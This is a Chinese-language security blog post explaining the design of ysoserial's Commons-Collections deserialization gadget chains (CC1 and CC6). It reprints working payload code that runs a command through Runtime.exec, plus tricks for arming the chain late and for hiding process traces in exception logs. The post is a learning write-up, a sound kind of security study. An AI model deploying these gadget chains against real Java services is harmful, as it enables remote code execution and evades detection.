Java篇之ysoserial中的一些操作

ysoserial中的一些操作

前面我们分析了cc1和cc6,但当我们去看ysoserial中时,会发现它里面有一些其它的操作,这篇文章我们就来看看这些操作的目的以及它所起到的作用

cc1

我们先来看看ysoserial中cc1的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// arm with actual transformer chain 最后才将真正具有危害的Transformer数组设置进去

return handler;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}

可以看到它里面封装了很多方法,很多我们在这里面是看不到的,但原理和前面我们讲的是一样的,但是它刚开始创建的那个Transformer[]是什么呢,里面的new ConstantTransformer(1)好像也没有实质性的意义,而下面那个Transformer[]才是我们真正需要的Transformer[],那为什么我们前面要放一个假的Transformer[]呢?这是因为我们在使用了Proxy代理了map对象时,我们在任何地方执行map的方法时,都会触发Proxy#invoke,从而执行命令弹出计算器,这就会导致我们在调试代码的时候,有时甚至还没有执行到readObject就已经弹出了计算器,这是因为调试器会在下面调用一些toString之类的方法,导致不经意间就触发了命令

所以说ysoserial对此做出的处理就是最后才会将真正执行命令的Transformer数组设置进transformerChain里面去,而前面的就是假的,避免本地生成序列化流的程序执行到命令,而设置的方法就是利用反射,我们看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Reflections {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

而在ChainedTransformer中存放Transformer数组的变量名就是iTransformers,所以说通过Reflections.setFieldValue(transformerChain, "iTransformers", transformers);就把真正的Transformer数组设置进去了

而还有一点就是,ysoserial中的Transformed数组最后增加了一个new ConstantTransformer(1),这是为什么呢?

image.png

其实这一点我也不太清楚,因为我认为无论有没有这个都是不会影响命令的正常执行的,删掉也无伤大雅,但我看p神文章,p神的猜测是可能是为了隐藏异常日志中的一些信息;因为如果这里没有ConstantTransformer(1),命令进程对象将会被 LazyMap#get 返回,导致我们在异常信息里能看到这个特征,我们先看没有ConstantTransformer(1)的情况:

image.png

如果我们增加一个 ConstantTransformer(1)TransformChain的末尾,异常信息将会变成 java.lang.Integer cannot be cast to java.util.Set ,隐蔽了启动进程的日志特征:

image.png

cc6

而在cc6中,我们同样可以像cc1一样,首先添加一个假的Transformer数组,然后最后再将真正有危害的添加进去,这样可以避免许多问题,事实上ysoserial确实也是这么做的,而且后面也有隐藏异常日志的ConstantTransformer(1)操作,只不过由于我们的链子和ysoserial上给的不完全一样,所以说这次就不按照ysoserial上的分析了;但当我们加上假的Transformer数组,后面再变成真的之后,会发现一个问题,那就是命令并没有执行,看下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6_1 {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{ new ConstantTransformer(1) };
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
new ConstantTransformer(1),};
Transformer transformerChain = new ChainedTransformer(faketransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

看起来没有任何问题,那我们点运行:

image.png

什么也没有发生,并没有弹出计算器,这是为什么呢,来单步调试看看,看它有没有正常执行transform

image.png

这里就出现问题了,这里map.containsKey(key)得为假才能进入if语句,但是这里已经告诉了我们,super.map.containsKey(key)为true,那就意味着它这儿没有正常进入transform中,那当然就执行不了命令了

其实在单步调试的过程中,我们可以看到,这里的问题出在expMap.put(tme, "valuevalue");,而这个put方法中,又正好拥有hash(key)方法,那么我们回忆一下cc6的链子,这链子是不是就已经连上了,相当于本地触发了;而我们第一次传入的是faketransformers,这个时候super.map.containsKey(key)是为false的,是正常的,问题就是它进入了之后,执行了super.map.put()操作,这就出问题了呀,把我们key为keykey的对象放进去了,导致第二次,我们真正的transformers传进来之后,利用反序列化触发时,它就为true了,也就没办法触发了

用p神的话说,这⾥就导致LazyMap这个利⽤链在前面就已经被调⽤了⼀遍,因为我前⾯⽤了fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响

这里的解决方法也就很简单,只需要将这个Key,再从outerMap中移除即可: outerMap.remove("keykey")

image.png

完美操作,成功,弹出计算器哈哈哈

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信